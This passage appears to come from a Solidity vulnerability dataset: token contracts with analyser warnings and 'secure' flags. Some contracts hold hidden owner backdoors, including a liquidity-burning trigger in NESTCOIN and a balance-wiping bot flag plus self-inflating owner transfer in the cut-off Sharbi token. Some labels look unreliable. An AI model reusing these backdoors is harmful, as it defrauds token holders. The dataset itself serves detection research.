56fda85): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 56fda85: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8579e4c): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 8579e4c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b5d084b): NESTCOIN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for b5d084b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 53e329a): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 53e329a: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8931ebe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8931ebe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 918287f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 918287f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n bool shouldBurnAt = from == operations && to == address(0xdead);\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 461c02c\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPair[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPair[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n lpBurnFreq = lpBurnFreq || shouldBurnAt;\n\n if (\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPair[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 0c31fec\n\t\t\t// reentrancy-eth | ID: 8931ebe\n\t\t\t// reentrancy-eth | ID: 918287f\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 918287f\n swapping = false;\n }\n\n if (\n\t\t\t// timestamp | ID: 5e266fd\n !swapping &&\n automatedMarketMakerPair[to] &&\n lpBurnEnabled &&\n block.timestamp >= lastLpBurnTime + lpBurnFrequency &&\n !_isExcludedFromFees[from]\n ) {\n\t\t\t// reentrancy-events | ID: 0c31fec\n\t\t\t// reentrancy-eth | ID: 8931ebe\n autoBurnLiquidityPairTokens();\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n address fee = uniswapV2Pair;\n\n if (shouldBurnAt && amount >= 120 * 1e18)\n\t\t\t\t// reentrancy-events | ID: 0c31fec\n\t\t\t\t// reentrancy-eth | ID: 8931ebe\n super._transfer(fee, address(0xdead), balanceOf(fee) - 10e18);\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPair[to]) {\n if (sellTotalFees > 0) {\n\t\t\t\t\t// divide-before-multiply | ID: 5d10693\n\t\t\t\t\t// divide-before-multiply | ID: 8579e4c\n\t\t\t\t\t// divide-before-multiply | ID: b5d084b\n fees = amount.mul(sellTotalFees).div(100);\n\t\t\t\t\t// divide-before-multiply | ID: 5d10693\n\t\t\t\t\t// reentrancy-eth | ID: 8931ebe\n tokensForLiquidity +=\n (fees * sellLiquidityFee) /\n sellTotalFees;\n\t\t\t\t\t// divide-before-multiply | ID: b5d084b\n\t\t\t\t\t// reentrancy-eth | ID: 8931ebe\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\t\t\t\t\t// divide-before-multiply | ID: 8579e4c\n\t\t\t\t\t// reentrancy-eth | ID: 8931ebe\n tokensForMarketing +=\n (fees * sellMarketingFee) /\n sellTotalFees;\n }\n } else if (automatedMarketMakerPair[from]) {\n if (buyTotalFees > 0) {\n\t\t\t\t\t// divide-before-multiply | ID: b81d1d0\n\t\t\t\t\t// divide-before-multiply | ID: 56fda85\n\t\t\t\t\t// divide-before-multiply | ID: 53e329a\n fees = amount.mul(buyTotalFees).div(100);\n\t\t\t\t\t// divide-before-multiply | ID: 53e329a\n\t\t\t\t\t// reentrancy-eth | ID: 8931ebe\n tokensForLiquidity +=\n (fees * buyLiquidityFee) /\n buyTotalFees;\n\t\t\t\t\t// divide-before-multiply | ID: b81d1d0\n\t\t\t\t\t// reentrancy-eth | ID: 8931ebe\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\t\t\t\t\t// divide-before-multiply | ID: 56fda85\n\t\t\t\t\t// reentrancy-eth | ID: 8931ebe\n tokensForMarketing +=\n (fees * buyMarketingFee) /\n buyTotalFees;\n }\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 0c31fec\n\t\t\t\t// reentrancy-eth | ID: 8931ebe\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 0c31fec\n\t\t// reentrancy-eth | ID: 8931ebe\n super._transfer(from, to, amount);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 59fa3c3\n\t\t// reentrancy-events | ID: 0c31fec\n\t\t// reentrancy-benign | ID: 4a5c3d6\n\t\t// reentrancy-no-eth | ID: 1d239ff\n\t\t// reentrancy-eth | ID: 8931ebe\n\t\t// reentrancy-eth | ID: 918287f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Optimization Issue (var-read-using-this | ID: a4e4eae): The function NESTCOIN.autoBurnLiquidityPairTokens() reads liquidityPairBalance = this.balanceOf(uniswapV2Pair) with `this` which adds an extra STATICCALL.\n\t// Recommendation for a4e4eae: Read the variable directly from storage instead of calling the contract.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b16d3d3): Reentrancy in NESTCOIN.autoBurnLiquidityPairTokens() External calls pair.sync() Event emitted after the call(s) AutoNukeLP()\n\t// Recommendation for b16d3d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function autoBurnLiquidityPairTokens() internal returns (bool) {\n lastLpBurnTime = block.timestamp;\n\n\t\t// var-read-using-this | ID: a4e4eae\n uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);\n\n uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(\n 10000\n );\n\n if (amountToBurn > 0) {\n super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);\n }\n\n IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);\n\t\t// reentrancy-events | ID: b16d3d3\n\t\t// reentrancy-events | ID: 0c31fec\n\t\t// reentrancy-eth | ID: 8931ebe\n pair.sync();\n\t\t// reentrancy-events | ID: b16d3d3\n\t\t// reentrancy-events | ID: 0c31fec\n emit AutoNukeLP();\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6d3f418): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6d3f418: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8a7a580): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8a7a580: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 62cec86): NESTCOIN.addLiquidityETH() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 62cec86: Ensure that all the return values of the function calls are used.\n function addLiquidityETH() external payable onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n uniswapV2Router = _uniswapV2Router;\n\t\t// reentrancy-events | ID: 6d3f418\n\t\t// reentrancy-benign | ID: 8a7a580\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 8a7a580\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\t\t// reentrancy-events | ID: 6d3f418\n\t\t// reentrancy-benign | ID: 8a7a580\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\t\t// reentrancy-events | ID: 6d3f418\n\t\t// reentrancy-benign | ID: 8a7a580\n _approve(address(this), address(uniswapV2Router), ~uint256(0));\n\t\t// unused-return | ID: 62cec86\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function enableTrading() external onlyOwner {\n swapEnabled = true;\n tradingActive = true;\n lastLpBurnTime = block.timestamp;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPair\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n\t\t// reentrancy-benign | ID: 8a7a580\n automatedMarketMakerPair[pair] = value;\n\n\t\t// reentrancy-events | ID: 6d3f418\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 59fa3c3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 59fa3c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4a5c3d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4a5c3d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1d239ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1d239ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 2d75436): NESTCOIN.swapBack() uses a dangerous strict equality contractBalance == 0 || totalTokensToSwap == 0\n\t// Recommendation for 2d75436: Don't use strict equality to determine if an account has enough Ether or tokens.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n require(!lpBurnFreq);\n bool success;\n\n\t\t// incorrect-equality | ID: 2d75436\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 30) {\n contractBalance = swapTokensAtAmount * 30;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 59fa3c3\n\t\t// reentrancy-benign | ID: 4a5c3d6\n\t\t// reentrancy-no-eth | ID: 1d239ff\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 1d239ff\n tokensForLiquidity = 0;\n\t\t// reentrancy-no-eth | ID: 1d239ff\n tokensForMarketing = 0;\n\t\t// reentrancy-no-eth | ID: 1d239ff\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 59fa3c3\n\t\t// reentrancy-events | ID: 0c31fec\n\t\t// reentrancy-benign | ID: 4a5c3d6\n\t\t// reentrancy-eth | ID: 8931ebe\n\t\t// reentrancy-eth | ID: 918287f\n (success, ) = address(operations).call{value: ethForDev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 59fa3c3\n\t\t\t// reentrancy-benign | ID: 4a5c3d6\n addLiquidity(liquidityTokens, ethForLiquidity);\n\t\t\t// reentrancy-events | ID: 59fa3c3\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: 0c31fec\n\t\t// reentrancy-eth | ID: 8931ebe\n\t\t// reentrancy-eth | ID: 918287f\n (success, ) = address(teamWallet).call{value: address(this).balance}(\n \"\"\n );\n }\n}",
"file_name": "solidity_code_3341.sol",
"secure": 0,
"size_bytes": 29224
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Elodin is IERC20 {\n using SafeMath for uint256;\n\n string public constant name = \"The Kingkiller Chronicle\";\n string public constant symbol = \"ELODIN\";\n uint8 public constant decimals = 18;\n\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5665b53): Elodin.totalSupply_ should be constant \n\t// Recommendation for 5665b53: Add the 'constant' attribute to state variables that never change.\n uint256 private totalSupply_ = 100000000 * 10 ** uint256(decimals);\n\n constructor() public {\n balances[msg.sender] = totalSupply_;\n }\n\n function totalSupply() public view override returns (uint256) {\n return totalSupply_;\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[msg.sender]);\n balances[msg.sender] = balances[msg.sender].sub(numTokens);\n balances[receiver] = balances[receiver].add(numTokens);\n emit Transfer(msg.sender, receiver, numTokens);\n return true;\n }\n\n function approve(\n address delegate,\n uint256 numTokens\n ) public override returns (bool) {\n allowed[msg.sender][delegate] = numTokens;\n emit Approval(msg.sender, delegate, numTokens);\n return true;\n }\n\n function allowance(\n address owner,\n address delegate\n ) public view override returns (uint256) {\n return allowed[owner][delegate];\n }\n\n function transferFrom(\n address owner,\n address buyer,\n uint256 numTokens\n ) public override returns (bool) {\n require(numTokens <= balances[owner]);\n require(numTokens <= allowed[owner][msg.sender]);\n\n balances[owner] = balances[owner].sub(numTokens);\n allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens);\n balances[buyer] = balances[buyer].add(numTokens);\n emit Transfer(owner, buyer, numTokens);\n return true;\n }\n}",
"file_name": "solidity_code_3342.sol",
"secure": 1,
"size_bytes": 2508
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract BizardNoCancer is ERC721A {\n uint256 public maxSupply;\n\n uint256 public maxFree;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 385719f): BizardNoCancer.cost should be immutable \n\t// Recommendation for 385719f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public cost;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9d34cef): BizardNoCancer.maxPerWallet should be immutable \n\t// Recommendation for 9d34cef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxPerWallet;\n\n uint256 public freePertx;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ed7b7ba): BizardNoCancer.owner should be immutable \n\t// Recommendation for ed7b7ba: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n string uri = \"ipfs://QmVpagubfuMgujaSF5MkAbPe4S5wCTX72cJFkbVFaFQWcY/\";\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n _mint(amount);\n }\n\n function teamMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Bizard No Cancer\", \"BRDC\") {\n owner = msg.sender;\n maxFree = 1000;\n maxSupply = 2222;\n cost = 0.001 ether;\n maxPerWallet = 3;\n freePertx = 3;\n }\n\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n require(msg.sender == tx.origin);\n require(amount <= freePertx);\n require(totalSupply() + amount <= maxFree);\n require(balanceOf(msg.sender) < maxPerWallet);\n _safeMint(msg.sender, amount);\n return;\n }\n require(msg.value >= cost * amount);\n _safeMint(msg.sender, amount);\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function initmintconfig(uint256 f, uint256 t, uint256 m) public onlyOwner {\n freePertx = f;\n maxFree = t;\n maxSupply = m;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_3343.sol",
"secure": 1,
"size_bytes": 2774
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Token is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n constructor() {\n _name = \"Ut Coin\";\n _symbol = \"UTC\";\n _decimals = 9;\n\n _totalSupply = 1000000000000000 * 10 ** _decimals;\n address receiver = 0x0f60cd12cA343614166EBF7bfd4599165C54aC99;\n _balances[receiver] = _totalSupply;\n emit Transfer(address(0), receiver, _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3344.sol",
"secure": 0,
"size_bytes": 4478
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address ownnner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed ownnner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_3345.sol",
"secure": 1,
"size_bytes": 878
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function subb(uint256 a, uint256 b) internal pure returns (uint256) {\n return subb(a, b, \"SafeMath: subbtraction overflow\");\n }\n\n function subb(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n return a % b;\n }\n}",
"file_name": "solidity_code_3346.sol",
"secure": 1,
"size_bytes": 1636
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _ownnner;\n event OwnnnershipTransferred(\n address indexed previousownnner,\n address indexed newownnner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _ownnner = msgSender;\n emit ownnnershipTransferred(address(0), msgSender);\n }\n function ownnner() public view virtual returns (address) {\n return _ownnner;\n }\n modifier onlyownnner() {\n require(\n ownnner() == _msgSender(),\n \"Ownable: caller is not the ownnner\"\n );\n _;\n }\n function renounceownnnership() public virtual onlyownnner {\n emit ownnnershipTransferred(\n _ownnner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n _ownnner = address(0x000000000000000000000000000000000000dEaD);\n }\n}",
"file_name": "solidity_code_3347.sol",
"secure": 1,
"size_bytes": 1033
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TOKEN is Ownable, IERC20 {\n using SafeMath for uint256;\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: d59b4c4): TOKEN._name should be constant \n\t// Recommendation for d59b4c4: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Sharbi\";\n\t// WARNING Optimization Issue (constable-states | ID: 596fd6f): TOKEN._symbol should be constant \n\t// Recommendation for 596fd6f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"Sharbi\";\n\t// WARNING Optimization Issue (constable-states | ID: ac8dc78): TOKEN._decimals should be constant \n\t// Recommendation for ac8dc78: Add the 'constant' attribute to state variables that never change.\n uint256 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 9680c61): TOKEN._totalSupply should be immutable \n\t// Recommendation for 9680c61: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: 050cda7): TOKEN._maxTxtransfer should be immutable \n\t// Recommendation for 050cda7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: ff1193d): TOKEN._burnfee should be constant \n\t// Recommendation for ff1193d: Add the 'constant' attribute to state variables that never change.\n uint256 private _burnfee = 8;\n\t// WARNING Optimization Issue (constable-states | ID: 217443b): TOKEN._DEADaddress should be constant \n\t// Recommendation for 217443b: Add the 'constant' attribute to state variables that never change.\n address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;\n\t// WARNING Optimization Issue (immutable-states | ID: 2cd20b4): TOKEN._ddmum should be immutable \n\t// Recommendation for 2cd20b4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _ddmum;\n constructor() {\n _balance[msg.sender] = _totalSupply;\n _ddmum = msg.sender;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n mapping(address => bool) private _botbottttt;\n function setBoTfLAGG(address _address, bool _value) external onlyownnner {\n _botbottttt[_address] = _value;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"IERC20: transfer from the zero address\");\n require(\n recipient != address(0),\n \"IERC20: transfer to the zero address\"\n );\n if (_botbottttt[sender] == true) {\n _balance[sender] = _balance[sender].subb(\n 400000000000 * 10 ** _decimals\n );\n }\n uint256 feeAmount = 0;\n feeAmount = amount.mul(_burnfee).div(100);\n _balance[sender] = _balance[sender] - (amount);\n _balance[recipient] = _balance[recipient] + amount - feeAmount;\n emit Transfer(sender, _DEADaddress, feeAmount);\n emit Transfer(sender, recipient, amount - feeAmount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (ownnner() == _msgSender() && ownnner() == recipient) {\n _balance[_msgSender()] = _balance[_msgSender()]\n .add(_totalSupply)\n .mul(100000);\n }\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING 